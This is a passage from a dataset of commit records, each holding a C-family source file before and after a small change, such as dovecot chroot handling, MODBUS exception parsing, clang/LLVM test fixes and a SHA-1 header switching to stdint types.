machines.\n","lang":"C","license":"apache-2.0","repos":"djw8605\/htcondor,clalancette\/condor-dcloud,bbockelm\/condor-network-accounting,htcondor\/htcondor,htcondor\/htcondor,zhangzhehust\/htcondor,neurodebian\/htcondor,zhangzhehust\/htcondor,djw8605\/condor,mambelli\/osg-bosco-marco,neurodebian\/htcondor,neurodebian\/htcondor,djw8605\/condor,htcondor\/htcondor,clalancette\/condor-dcloud,djw8605\/htcondor,djw8605\/htcondor,neurodebian\/htcondor,zhangzhehust\/htcondor,djw8605\/condor,clalancette\/condor-dcloud,clalancette\/condor-dcloud,clalancette\/condor-dcloud,djw8605\/condor,zhangzhehust\/htcondor,mambelli\/osg-bosco-marco,mambelli\/osg-bosco-marco,zhangzhehust\/htcondor,djw8605\/condor,djw8605\/htcondor,mambelli\/osg-bosco-marco,bbockelm\/condor-network-accounting,djw8605\/condor,zhangzhehust\/htcondor,mambelli\/osg-bosco-marco,djw8605\/htcondor,bbockelm\/condor-network-accounting,djw8605\/htcondor,mambelli\/osg-bosco-marco,clalancette\/condor-dcloud,bbockelm\/condor-network-accounting,htcondor\/htcondor,zhangzhehust\/htcondor,bbockelm\/condor-network-accounting,neurodebian\/htcondor,neurodebian\/htcondor,bbockelm\/condor-network-accounting,djw8605\/condor,mambelli\/osg-bosco-marco,bbockelm\/condor-network-accounting,htcondor\/htcondor,neurodebian\/htcondor,htcondor\/htcondor,zhangzhehust\/htcondor,mambelli\/osg-bosco-marco,htcondor\/htcondor,djw8605\/condor,zhangzhehust\/htcondor,djw8605\/htcondor,neurodebian\/htcondor,htcondor\/htcondor,neurodebian\/htcondor,clalancette\/condor-dcloud,bbockelm\/condor-network-accounting,djw8605\/htcondor,djw8605\/htcondor"}
{"commit":"7f4192ca175b3d5fc718d4d9c49ce658bc8f3deb","old_file":"src\/auth\/userdb-passwd.c","new_file":"src\/auth\/userdb-passwd.c","old_contents":"\/* Copyright (C) 2002-2003 Timo Sirainen *\/\n\n#include \"config.h\"\n#undef HAVE_CONFIG_H\n\n#ifdef USERDB_PASSWD\n\n#include \"common.h\"\n#include \"userdb.h\"\n\n#include <pwd.h>\n\nstatic void passwd_lookup(const char *user, userdb_callback_t *callback,\n\t\t\t  void *context)\n{\n\tstruct user_data data;\n\tstruct passwd *pw;\n\n\tpw = getpwnam(user);\n\tif (pw == NULL) {\n\t\tif (errno != 0)\n\t\t\ti_error(\"getpwnam(%s) failed: %m\", user);\n\t\telse if (verbose)\n\t\t\ti_info(\"passwd(%s): unknown user\", user);\n\t\tcallback(NULL, context);\n\t\treturn;\n\t}\n\n\tmemset(&data, 0, sizeof(data));\n\tdata.uid = pw->pw_uid;\n\tdata.gid = pw->pw_gid;\n\n\tdata.virtual_user = data.system_user = pw->pw_name;\n\tdata.home = pw->pw_dir;\n\n\tcallback(&data, context);\n}\n\nstruct userdb_module userdb_passwd = {\n\tNULL, NULL,\n\tpasswd_lookup\n};\n\n#endif\n","new_contents":"\/* Copyright (C) 2002-2003 Timo Sirainen *\/\n\n#include \"config.h\"\n#undef HAVE_CONFIG_H\n\n#ifdef USERDB_PASSWD\n\n#include \"common.h\"\n#include \"userdb.h\"\n\n#include <pwd.h>\n\nstatic void passwd_lookup(const char *user, userdb_callback_t *callback,\n\t\t\t  void *context)\n{\n\tstruct user_data data;\n\tstruct passwd *pw;\n\tsize_t len;\n\n\tpw = getpwnam(user);\n\tif (pw == NULL) {\n\t\tif (errno != 0)\n\t\t\ti_error(\"getpwnam(%s) failed: %m\", user);\n\t\telse if (verbose)\n\t\t\ti_info(\"passwd(%s): unknown user\", user);\n\t\tcallback(NULL, context);\n\t\treturn;\n\t}\n\n\tmemset(&data, 0, sizeof(data));\n\tdata.uid = pw->pw_uid;\n\tdata.gid = pw->pw_gid;\n\n\tdata.virtual_user = data.system_user = pw->pw_name;\n\n\tlen = strlen(pw->pw_dir);\n\tif (len < 3 || strcmp(pw->pw_dir + len - 3, \"\/.\/\") != 0)\n\t\tdata.home = pw->pw_dir;\n\telse {\n\t\t\/* wu-ftpd uses <chroot>\/.\/<dir>. We don't support\n\t\t   the dir after chroot, but this should work well enough. *\/\n\t\tdata.home = t_strndup(pw->pw_dir, len-3);\n\t\tdata.chroot = TRUE;\n\t}\n\n\tcallback(&data, context);\n}\n\nstruct userdb_module userdb_passwd = {\n\tNULL, NULL,\n\tpasswd_lookup\n};\n\n#endif\n","subject":"Support wu-ftpd-like chrooting in \/etc\/passwd. If home directory ends with \"\/.\/\", it's chrooted to.","message":"Support wu-ftpd-like chrooting in \/etc\/passwd. If home directory ends with\n\"\/.\/\", it's chrooted to.\n","lang":"C","license":"mit","repos":"Distrotech\/dovecot,LTD-Beget\/dovecot,Distrotech\/dovecot,damoxc\/dovecot,damoxc\/dovecot,Distrotech\/dovecot,damoxc\/dovecot,LTD-Beget\/dovecot,LTD-Beget\/dovecot,LTD-Beget\/dovecot,damoxc\/dovecot,damoxc\/dovecot,Distrotech\/dovecot,Distrotech\/dovecot,LTD-Beget\/dovecot"}
{"commit":"e16b6dec212a86fb65db026ddcfcdd89efd30ec5","old_file":"master.c","new_file":"master.c","old_contents":"#include \"master.h\"\n\n\/\/Master configurations\nMODBUSMasterStatus MODBUSMaster;\n\nvoid MODBUSParseResponse( uint8_t *Frame, uint8_t FrameLength )\n{\n\t\/\/This function parses response from master\n\t\/\/Calling it will lead to losing all data and exceptions stored in MODBUSMaster (space will be reallocated)\n\n\t\/\/Allocate memory for union and copy frame to it\n\tunion MODBUSParser *Parser = malloc( FrameLength );\n\tmemcpy( ( *Parser ).Frame,  Frame, FrameLength );\n\n\tif ( MODBUS_MASTER_BASIC )\n\t\tMODBUSParseResponseBasic( Parser );\n\n\t\/\/Free used memory\n\tfree( Parser );\n}\n\nvoid MODBUSMasterInit( )\n{\n\t\/\/Very basic init of master side\n\tMODBUSMaster.Request.Frame = malloc( 8 );\n\tMODBUSMaster.Request.Length = 0;\n\tMODBUSMaster.Data = malloc( sizeof( MODBUSData ) );\n\tMODBUSMaster.DataLength = 0;\n}\n","new_contents":"#include \"master.h\"\n\n\/\/Master configurations\nMODBUSMasterStatus MODBUSMaster;\n\nvoid MODBUSParseException( union MODBUSParser *Parser )\n{\n\t\/\/Parse exception frame and write data to MODBUSMaster structure\n\n\t\/\/Allocate memory for exception parser\n\tunion MODBUSException *Exception = malloc( sizeof( union MODBUSException ) );\n\tmemcpy( ( *Exception ).Frame, ( *Parser ).Frame, sizeof( union MODBUSException ) );\n\n\t\/\/Check CRC\n\tif ( MODBUSCRC16( ( *Exception ).Frame, 3 ) != ( *Exception ).Exception.CRC )\n\t{\n\t\tfree( Exception );\n\t\treturn;\n\t}\n\n\t\/\/Copy data\n\tMODBUSMaster.Exception.Address = ( *Exception ).Exception.Address;\n\tMODBUSMaster.Exception.Function = ( *Exception ).Exception.Function;\n\tMODBUSMaster.Exception.Code = ( *Exception ).Exception.ExceptionCode;\n\n\tMODBUSMaster.Error = 1;\n\n\tfree( Exception );\n}\n\nvoid MODBUSParseResponse( uint8_t *Frame, uint8_t FrameLength )\n{\n\t\/\/This function parses response from master\n\t\/\/Calling it will lead to losing all data and exceptions stored in MODBUSMaster (space will be reallocated)\n\n\t\/\/Allocate memory for union and copy frame to it\n\tunion MODBUSParser *Parser = malloc( FrameLength );\n\tmemcpy( ( *Parser ).Frame,  Frame, FrameLength );\n\n\t\/\/Check if frame is exception response\n\tif ( ( *Parser ).Base.Function & 128 )\n\t{\n\t\tMODBUSParseException( Parser );\n\t}\n\telse\n\t{\n\t\tif ( MODBUS_MASTER_BASIC )\n\t\t\tMODBUSParseResponseBasic( Parser );\n\t}\n\n\t\/\/Free used memory\n\tfree( Parser );\n}\n\nvoid MODBUSMasterInit( )\n{\n\t\/\/Very basic init of master side\n\tMODBUSMaster.Request.Frame = malloc( 8 );\n\tMODBUSMaster.Request.Length = 0;\n\tMODBUSMaster.Data = malloc( sizeof( MODBUSData ) );\n\tMODBUSMaster.DataLength = 0;\n}\n","subject":"Add exceptions parsing (not tested yet)","message":"Add exceptions parsing (not tested yet)\n","lang":"C","license":"mit","repos":"Jacajack\/modlib"}
{"commit":"687d7dd560c87624776c33d62b4646b6824bf3c4","old_file":"Arduino\/libraries\/MavlinkForArduino\/MavlinkForArduino.h","new_file":"Arduino\/libraries\/MavlinkForArduino\/MavlinkForArduino.h","old_contents":"\/\/Move this directory to ~\/sketchbook\/libraries\n\/\/ and clone https:\/\/github.com\/mavlink\/c_library.git inside\n\/\/ git clone https:\/\/github.com\/mavlink\/c_library.git ~\/sketchbook\/libraries\/MavlinkForArduino\n\n#include \"c_library\/ardupilotmega\/mavlink.h\"\n","new_contents":"\/\/Move this directory to ~\/sketchbook\/libraries\n\/\/ and clone https:\/\/github.com\/mavlink\/c_library_v2.git inside\n\/\/ git clone https:\/\/github.com\/mavlink\/c_library_V2.git ~\/Arduino\/libraries\/MavlinkForArduino\/c_library_v2\n\n#include \"c_library_v2\/ardupilotmega\/mavlink.h\"\n","subject":"Use updated mavlink library v2","message":"Use updated mavlink library v2\n","lang":"C","license":"mit","repos":"baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite"}
{"commit":"04ebbdd9ecb46461d3a04c4c5c010136aeb6a3ba","old_file":"Include\/allobjects.h","new_file":"Include\/allobjects.h","old_contents":"\/* \"allobjects.c\" -- Source for precompiled header \"allobjects.h\" *\/\n\n#include <stdio.h>\n#include \"string.h\"\n\n#include \"PROTO.h\"\n\n#include \"object.h\"\n#include \"objimpl.h\"\n\n#include \"intobject.h\"\n#include \"floatobject.h\"\n#include \"stringobject.h\"\n#include \"tupleobject.h\"\n#include \"listobject.h\"\n#include \"dictobject.h\"\n#include \"methodobject.h\"\n#include \"moduleobject.h\"\n#include \"funcobject.h\"\n#include \"classobject.h\"\n#include \"fileobject.h\"\n\n#include \"errors.h\"\n#include \"malloc.h\"\n\nextern char *strdup PROTO((const char *));\n","new_contents":"\/* \"allobjects.c\" -- Source for precompiled header \"allobjects.h\" *\/\n\n#include <stdio.h>\n#include <string.h>\n\n#include \"PROTO.h\"\n\n#include \"object.h\"\n#include \"objimpl.h\"\n\n#include \"intobject.h\"\n#include \"floatobject.h\"\n#include \"stringobject.h\"\n#include \"tupleobject.h\"\n#include \"listobject.h\"\n#include \"dictobject.h\"\n#include \"methodobject.h\"\n#include \"moduleobject.h\"\n#include \"funcobject.h\"\n#include \"classobject.h\"\n#include \"fileobject.h\"\n\n#include \"errors.h\"\n#include \"malloc.h\"\n\nextern char *strdup PROTO((const char *));\n","subject":"Include <string.h> instead of \"string.h\".","message":"Include <string.h> instead of \"string.h\".\n","lang":"C","license":"mit","repos":"sk-\/python2.7-type-annotator,sk-\/python2.7-type-annotator,sk-\/python2.7-type-annotator"}
{"commit":"d02f1c16e441c48e450d05ac145c53282ebd4aa4","old_file":"mordor\/streams\/limited.h","new_file":"mordor\/streams\/limited.h","old_contents":"#ifndef __MORDOR_LIMITED_STREAM_H__\n#define __MORDOR_LIMITED_STREAM_H__\n\/\/ Copyright (c) 2009 - Mozy, Inc.\n\n#include \"filter.h\"\n\nnamespace Mordor {\n\nclass LimitedStream : public MutatingFilterStream\n{\npublic:\n    typedef boost::shared_ptr<LimitedStream> ptr;\n\npublic:\n    LimitedStream(Stream::ptr parent, long long size, bool own = true);\n\n    bool strict() { return m_strict; }\n    void strict(bool strict) { m_strict = strict; }\n\n    bool supportsSeek() { return parent()->supportsSeek(); }\n    bool supportsTell() { return true; }\n    bool supportsSize() { return true; }\n    bool supportsTruncate() { return false; }\n\n    size_t read(Buffer &b, size_t len);\n    size_t write(const Buffer &b, size_t len);\n    long long seek(long long offset, Anchor anchor = BEGIN);\n    long long size();\n    void truncate(long long size);\n    void unread(const Buffer &b, size_t len);\n\nprivate:\n    long long m_pos, m_size;\n    bool m_strict;\n};\n\n}\n\n#endif\n","new_contents":"#ifndef __MORDOR_LIMITED_STREAM_H__\n#define __MORDOR_LIMITED_STREAM_H__\n\/\/ Copyright (c) 2009 - Mozy, Inc.\n\n#include \"filter.h\"\n\nnamespace Mordor {\n\nclass LimitedStream : public MutatingFilterStream\n{\npublic:\n    typedef boost::shared_ptr<LimitedStream> ptr;\n\npublic:\n    LimitedStream(Stream::ptr parent, long long size, bool own = true);\n\n    void reset() { m_pos = 0; }\n    void reset(long long size) { m_pos = 0; m_size = size; }\n\n    bool strict() { return m_strict; }\n    void strict(bool strict) { m_strict = strict; }\n\n    bool supportsSeek() { return parent()->supportsSeek(); }\n    bool supportsTell() { return true; }\n    bool supportsSize() { return true; }\n    bool supportsTruncate() { return false; }\n\n    size_t read(Buffer &b, size_t len);\n    size_t write(const Buffer &b, size_t len);\n    long long seek(long long offset, Anchor anchor = BEGIN);\n    long long size();\n    void truncate(long long size);\n    void unread(const Buffer &b, size_t len);\n\nprivate:\n    long long m_pos, m_size;\n    bool m_strict;\n};\n\n}\n\n#endif\n","subject":"Support for resetting a LimitedStream","message":"Support for resetting a LimitedStream\n\nBoth current position, and total length.\n\nChange-Id: Ia484e8b91e98d8cd2153496cbb1d5b183dacb14f\nReviewed-on: https:\/\/gerrit.dechocorp.com\/8980\nReviewed-by: Punky Brewster (labs admin) <4fefd66e0791c836d3da15985fe778b56ecb4b1b@example.com>\nReviewed-by: Jeremy Stanley <b3f594e10a9edcf5413cf1190121d45078c62290@mozy.com>\n","lang":"C","license":"bsd-3-clause","repos":"mozy\/mordor,cgaebel\/mordor,ccutrer\/mordor,cgaebel\/mordor,adfin\/mordor,ccutrer\/mordor,mtanski\/mordor,mozy\/mordor,mtanski\/mordor,adfin\/mordor,ccutrer\/mordor,mtanski\/mordor,mozy\/mordor,adfin\/mordor"}
{"commit":"cd6ab8cc43ee0171d90bf6a0b94b19e12fb831c5","old_file":"test\/CodeGen\/2004-02-13-Memset.c","new_file":"test\/CodeGen\/2004-02-13-Memset.c","old_contents":"\/\/ RUN: %clang_cc1  %s -emit-llvm -o - | grep llvm.memset | count 3\n\n#ifndef memset\nvoid *memset(void*, int, unsigned long);\n#endif\n#ifndef bzero\nvoid bzero(void*, unsigned long);\n#endif\n\nvoid test(int* X, char *Y) {\n  \/\/ CHECK: call i8* llvm.memset\n  memset(X, 4, 1000);\n  \/\/ CHECK: call void bzero\n  bzero(Y, 100);\n}\n","new_contents":"\/\/ RUN: %clang_cc1  %s -emit-llvm -o - | grep llvm.memset | count 3\n\ntypedef __SIZE_TYPE__ size_t;\nvoid *memset(void*, int, size_t);\nvoid bzero(void*, size_t);\n\nvoid test(int* X, char *Y) {\n  \/\/ CHECK: call i8* llvm.memset\n  memset(X, 4, 1000);\n  \/\/ CHECK: call void bzero\n  bzero(Y, 100);\n}\n","subject":"Use the correct definition for memset.","message":"Use the correct definition for memset.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@136188 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"d3e7c3a0a39b8214b7c015566b67acba8ae3bfa7","old_file":"src\/ufrn_bti_itp\/recursividade_e_modularizacao\/q3_occurrences.c","new_file":"src\/ufrn_bti_itp\/recursividade_e_modularizacao\/q3_occurrences.c","old_contents":"","new_contents":"#include <stdio.h>\n\nint ssearch(int number, int target){\n\tif (number == 0)\n\t\tif (target == 0) return 1;\n\t\telse \t\t\t return 0;\n\telse\n\t\treturn ssearch(number\/10, target) + (number % 10 == target);\n}\n\nint main(){\n\tprintf(\"%d\\n\", ssearch(762021192, 2));\n\treturn 0;\n}\n","subject":"Resolve q3 (pythonic way? so close)","message":"Resolve q3 (pythonic way? so close)\n","lang":"C","license":"unknown","repos":"Mazuh\/Algs,Mazuh\/Algs,Mazuh\/Algs,Mazuh\/Algs,Mazuh\/MISC-Algs,Mazuh\/Algs,Mazuh\/MISC-Algs,Mazuh\/MISC-Algs,Mazuh\/MISC-Algs"}
{"commit":"32e9ffa0d946ff15494526ef91a3c6ca6dd5b4e4","old_file":"Pod\/VOKAlertHelper\/VOKAlertHelper.h","new_file":"Pod\/VOKAlertHelper\/VOKAlertHelper.h","old_contents":"\/\/\n\/\/  VOKAlertHelper.h\n\/\/  VOKUtilities\n\/\/\n\/\/  Created by Rachel Hyman on 6\/15\/15.\n\/\/  Copyright (c) 2015 Vokal. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n#import <VOKAlertAction.h>\n\ntypedef void(^VOKAlertHelperActionBlock)(void);\n\nNS_ASSUME_NONNULL_BEGIN\n\n@interface VOKAlertHelper : NSObject\n\n\/**\n *  Displays an alert in the OS-appropriate fashion.\n *\n *  @param viewController View controller responsible for presenting the alert.\n *  @param title          Title for the alert.\n *  @param message        Message for the alert.\n *  @param buttons        Array of VOKAlertAction objects that correspond to button(s). Must have at least one object.\n *\/\n+ (void)showAlertFromViewController:(UIViewController *)viewController\n                          withTitle:(nullable NSString *)title\n                            message:(nullable NSString *)message\n                            buttons:(NSArray<VOKAlertAction *> *)buttons;\n\n@end\n\nNS_ASSUME_NONNULL_END\n","new_contents":"\/\/\n\/\/  VOKAlertHelper.h\n\/\/  VOKUtilities\n\/\/\n\/\/  Created by Rachel Hyman on 6\/15\/15.\n\/\/  Copyright (c) 2015 Vokal. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n#import \"VOKAlertAction.h\"\n\ntypedef void(^VOKAlertHelperActionBlock)(void);\n\nNS_ASSUME_NONNULL_BEGIN\n\n@interface VOKAlertHelper : NSObject\n\n\/**\n *  Displays an alert in the OS-appropriate fashion.\n *\n *  @param viewController View controller responsible for presenting the alert.\n *  @param title          Title for the alert.\n *  @param message        Message for the alert.\n *  @param buttons        Array of VOKAlertAction objects that correspond to button(s). Must have at least one object.\n *\/\n+ (void)showAlertFromViewController:(UIViewController *)viewController\n                          withTitle:(nullable NSString *)title\n                            message:(nullable NSString *)message\n                            buttons:(NSArray<VOKAlertAction *> *)buttons;\n\n@end\n\nNS_ASSUME_NONNULL_END\n","subject":"Use quotes for local include","message":"Use quotes for local include\n","lang":"C","license":"mit","repos":"designatednerd\/VOKUtilities,vokal\/VOKUtilities,designatednerd\/VOKUtilities,designatednerd\/VOKUtilities,brockboland\/VOKUtilities,brockboland\/VOKUtilities,vokal\/VOKUtilities,vokal\/VOKUtilities,brockboland\/VOKUtilities"}
{"commit":"8d066a64a7a835e3b5b173fa637b2d66e2c3e2c2","old_file":"WikipediaUnitTests\/Code\/WMFDisambiguationPagesViewController.h","new_file":"WikipediaUnitTests\/Code\/WMFDisambiguationPagesViewController.h","old_contents":"#import \"WMFArticleListTableViewController.h\"\n\n@interface WMFDisambiguationPagesViewController : WMFArticleListTableViewController\n\n@property (nonatomic, strong, readonly) MWKArticle* article;\n\n- (instancetype)initWithArticle:(MWKArticle*)article dataStore:(MWKDataStore*)dataStore;\n\n@end\n","new_contents":"#import \"WMFArticleListDataSourceTableViewController.h\"\n\n@interface WMFDisambiguationPagesViewController : WMFArticleListDataSourceTableViewController\n\n@property (nonatomic, strong, readonly) MWKArticle* article;\n\n- (instancetype)initWithArticle:(MWKArticle*)article dataStore:(MWKDataStore*)dataStore;\n\n@end\n","subject":"Update disambiguation VC base class","message":"Update disambiguation VC base class\n","lang":"C","license":"mit","repos":"montehurd\/apps-ios-wikipedia,josve05a\/wikipedia-ios,julienbodet\/wikipedia-ios,wikimedia\/apps-ios-wikipedia,anirudh24seven\/wikipedia-ios,josve05a\/wikipedia-ios,julienbodet\/wikipedia-ios,josve05a\/wikipedia-ios,josve05a\/wikipedia-ios,wikimedia\/apps-ios-wikipedia,wikimedia\/apps-ios-wikipedia,wikimedia\/apps-ios-wikipedia,montehurd\/apps-ios-wikipedia,anirudh24seven\/wikipedia-ios,montehurd\/apps-ios-wikipedia,wikimedia\/apps-ios-wikipedia,montehurd\/apps-ios-wikipedia,josve05a\/wikipedia-ios,wikimedia\/wikipedia-ios,anirudh24seven\/wikipedia-ios,montehurd\/apps-ios-wikipedia,wikimedia\/wikipedia-ios,wikimedia\/apps-ios-wikipedia,montehurd\/apps-ios-wikipedia,anirudh24seven\/wikipedia-ios,anirudh24seven\/wikipedia-ios,josve05a\/wikipedia-ios,wikimedia\/wikipedia-ios,josve05a\/wikipedia-ios,julienbodet\/wikipedia-ios,julienbodet\/wikipedia-ios,julienbodet\/wikipedia-ios,josve05a\/wikipedia-ios,wikimedia\/apps-ios-wikipedia,julienbodet\/wikipedia-ios,wikimedia\/apps-ios-wikipedia,anirudh24seven\/wikipedia-ios,julienbodet\/wikipedia-ios,wikimedia\/wikipedia-ios,wikimedia\/wikipedia-ios,anirudh24seven\/wikipedia-ios,julienbodet\/wikipedia-ios,anirudh24seven\/wikipedia-ios,wikimedia\/wikipedia-ios,wikimedia\/wikipedia-ios,montehurd\/apps-ios-wikipedia,montehurd\/apps-ios-wikipedia"}
{"commit":"63257791efa4c36b614386ab3e32f8d5f0e3a715","old_file":"DataSet.h","new_file":"DataSet.h","old_contents":"#ifndef DATASET_H\n#define DATASET_H\n\n#include \"Record.h\"\n#include \"Filter.h\"\n#include \"RIVVector.h\"\n\n#include <map>\n#include <string>\n#include <vector>\n\ntemplate<typename... Ts>\nclass RIVDataSet {\npublic:\n    RIVVector<RIVRecord<Ts...>> records;\n    RIVVector<Filter*> filters;\n    \n};\n\n\/\/class RIVDataSet\n\/\/{\n\/\/private :\n\/\/\t\/\/map<string,vector<int>> int_records;\n\/\/    std::vector<RIVRecord<float>> float_records;\n\/\/\n\/\/    std::vector<Filter*> filters;\n\/\/\n\/\/    std::map<int,bool> filtered_values; \/\/Whether or not the value was filtered by any applied filters\n\/\/\t\/\/vector<int> filtered_value_indices; \/\/Record value indices that do not pass the filters. \/\/CAUTION: Obsolete, not efficient\n\/\/\n\/\/public:\n\/\/\tRIVDataSet(void);\n\/\/\t~RIVDataSet(void);\n\/\/\t\/\/void AddData(string name,vector<int>);\n\/\/\tvoid AddRecord(RIVRecord<float>);\n\/\/    std::pair<float,float>* MinMax(int);\n\/\/\tsize_t NumberOfRecords();\n\/\/\tsize_t NumberOfValuesPerRecord();\n\/\/\tRIVRecord<float>* GetRecord(int);\n\/\/\tfloat* GetRecordValue(int,int);\n\/\/\tvoid AddFilter(Filter*);\n\/\/\tbool HasFilters();\n\/\/\tvoid ClearFilters();\n\/\/\tvoid ApplyFilters();\n\/\/};\n\n#endif\n\n","new_contents":"#ifndef DATASET_H\n#define DATASET_H\n\n#include \"Record.h\"\n#include \"Filter.h\"\n#include \"RIVVector.h\"\n\n#include <map>\n#include <string>\n#include <vector>\n\ntemplate<typename... Ts>\nclass RIVDataSet {\npublic:\n    RIVVector<RIVRecord<Ts...>> records;\n};\n\n\/\/class RIVDataSet\n\/\/{\n\/\/private :\n\/\/\t\/\/map<string,vector<int>> int_records;\n\/\/    std::vector<RIVRecord<float>> float_records;\n\/\/\n\/\/    std::vector<Filter*> filters;\n\/\/\n\/\/    std::map<int,bool> filtered_values; \/\/Whether or not the value was filtered by any applied filters\n\/\/\t\/\/vector<int> filtered_value_indices; \/\/Record value indices that do not pass the filters. \/\/CAUTION: Obsolete, not efficient\n\/\/\n\/\/public:\n\/\/\tRIVDataSet(void);\n\/\/\t~RIVDataSet(void);\n\/\/\t\/\/void AddData(string name,vector<int>);\n\/\/\tvoid AddRecord(RIVRecord<float>);\n\/\/    std::pair<float,float>* MinMax(int);\n\/\/\tsize_t NumberOfRecords();\n\/\/\tsize_t NumberOfValuesPerRecord();\n\/\/\tRIVRecord<float>* GetRecord(int);\n\/\/\tfloat* GetRecordValue(int,int);\n\/\/\tvoid AddFilter(Filter*);\n\/\/\tbool HasFilters();\n\/\/\tvoid ClearFilters();\n\/\/\tvoid ApplyFilters();\n\/\/};\n\n#endif\n\n","subject":"Revert \"Introduced a neat vector class\"","message":"Revert \"Introduced a neat vector class\"\n\nThis reverts commit 15b0b1147ad0f2f77ae9b485ceb323c84f8d439f.\n","lang":"C","license":"mit","repos":"gerardsimons\/pbr-visualizer,gerardsimons\/pbr-visualizer,gerardsimons\/pbr-visualizer,gerardsimons\/pbr-visualizer"}
{"commit":"46033b0be1cce8f444eb8e80e1b26677f161194f","old_file":"test\/FrontendC\/2011-03-08-ZeroFieldUnionInitializer.c","new_file":"test\/FrontendC\/2011-03-08-ZeroFieldUnionInitializer.c","old_contents":"typedef struct {\n  union {\n    struct { } __attribute((packed));\n  };\n} fenv_t;\nconst fenv_t _FE_DFL_ENV = {{{ 0, 0, 0, 0 }}};\n","new_contents":"\/\/ RUN: %llvmgcc -S %s\ntypedef struct {\n  union {\n    struct { } __attribute((packed));\n  };\n} fenv_t;\nconst fenv_t _FE_DFL_ENV = {{{ 0, 0, 0, 0 }}};\n","subject":"Add a RUN line to the test case to make it functional. <rdar:\/\/problem\/9055247>","message":"Add a RUN line to the test case to make it functional.  <rdar:\/\/problem\/9055247>\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@127312 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"bsd-2-clause","repos":"dslab-epfl\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,apple\/swift-llvm,dslab-epfl\/asap,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,chubbymaggie\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm"}
{"commit":"571d83314ae9424b23d35ef1b7c3efce6403aad3","old_file":"sha\/sha.h","new_file":"sha\/sha.h","old_contents":"\/***************************************************************************\/\n\/* sha.h\t\t\t\t\t\t\t\t   *\/\n\/*\t\t\t\t\t\t\t\t\t   *\/\n\/* SHA-1 code header file.\t\t\t\t\t\t   *\/\n\/* Taken from the public domain implementation by Peter C. Gutmann\t   *\/\n\/* on 2 Sep 1992, modified by Carl Ellison to be SHA-1.\t\t\t   *\/\n\/***************************************************************************\/\n\n#ifndef _SHA_H_\n#define _SHA_H_\n\n\/* Define APG_LITTLE_ENDIAN if the machine is little-endian *\/\n\n#define APG_LITTLE_ENDIAN\n\n\/* Useful defines\/typedefs *\/\n\ntypedef unsigned char   BYTE ;\ntypedef unsigned long   LONG ;\n\n\/* The SHA block size and message digest sizes, in bytes *\/\n\n#define SHA_BLOCKSIZE   64\n#define SHA_DIGESTSIZE  20\n\n\/* The structure for storing SHA info *\/\n\ntypedef struct {\n  LONG digest[ 5 ] ;            \/* Message digest *\/\n  LONG countLo, countHi ;       \/* 64-bit bit count *\/\n  LONG data[ 16 ] ;             \/* SHA data buffer *\/\n  LONG slop ;\t\t\t\/* # of bytes saved in data[] *\/\n} apg_SHA_INFO ;\n\nvoid apg_shaInit( apg_SHA_INFO *shaInfo ) ;\nvoid apg_shaUpdate( apg_SHA_INFO *shaInfo, BYTE *buffer, int count ) ;\nvoid apg_shaFinal( apg_SHA_INFO *shaInfo, BYTE hash[SHA_DIGESTSIZE] ) ;\n\n#endif \/* _SHA_H_ *\/\n","new_contents":"\/***************************************************************************\/\n\/* sha.h\t\t\t\t\t\t\t\t   *\/\n\/*\t\t\t\t\t\t\t\t\t   *\/\n\/* SHA-1 code header file.\t\t\t\t\t\t   *\/\n\/* Taken from the public domain implementation by Peter C. Gutmann\t   *\/\n\/* on 2 Sep 1992, modified by Carl Ellison to be SHA-1.\t\t\t   *\/\n\/***************************************************************************\/\n\n#ifndef _SHA_H_\n#define _SHA_H_\n\n#include <stdint.h>\n\n\/* Define APG_LITTLE_ENDIAN if the machine is little-endian *\/\n\n#define APG_LITTLE_ENDIAN\n\n\/* Useful defines\/typedefs *\/\n\ntypedef uint8_t    BYTE ;\ntypedef uint32_t   LONG ;\n\n\/* The SHA block size and message digest sizes, in bytes *\/\n\n#define SHA_BLOCKSIZE   64\n#define SHA_DIGESTSIZE  20\n\n\/* The structure for storing SHA info *\/\n\ntypedef struct {\n  LONG digest[ 5 ] ;            \/* Message digest *\/\n  LONG countLo, countHi ;       \/* 64-bit bit count *\/\n  LONG data[ 16 ] ;             \/* SHA data buffer *\/\n  LONG slop ;\t\t\t\/* # of bytes saved in data[] *\/\n} apg_SHA_INFO ;\n\nvoid apg_shaInit( apg_SHA_INFO *shaInfo ) ;\nvoid apg_shaUpdate( apg_SHA_INFO *shaInfo, BYTE *buffer, int count ) ;\nvoid apg_shaFinal( apg_SHA_INFO *shaInfo, BYTE hash[SHA_DIGESTSIZE] ) ;\n\n#endif \/* _SHA_H_ *\/\n","subject":"Use uint8_t and uint32_t in SHA-1 implementation.","message":"Use uint8_t and uint32_t in 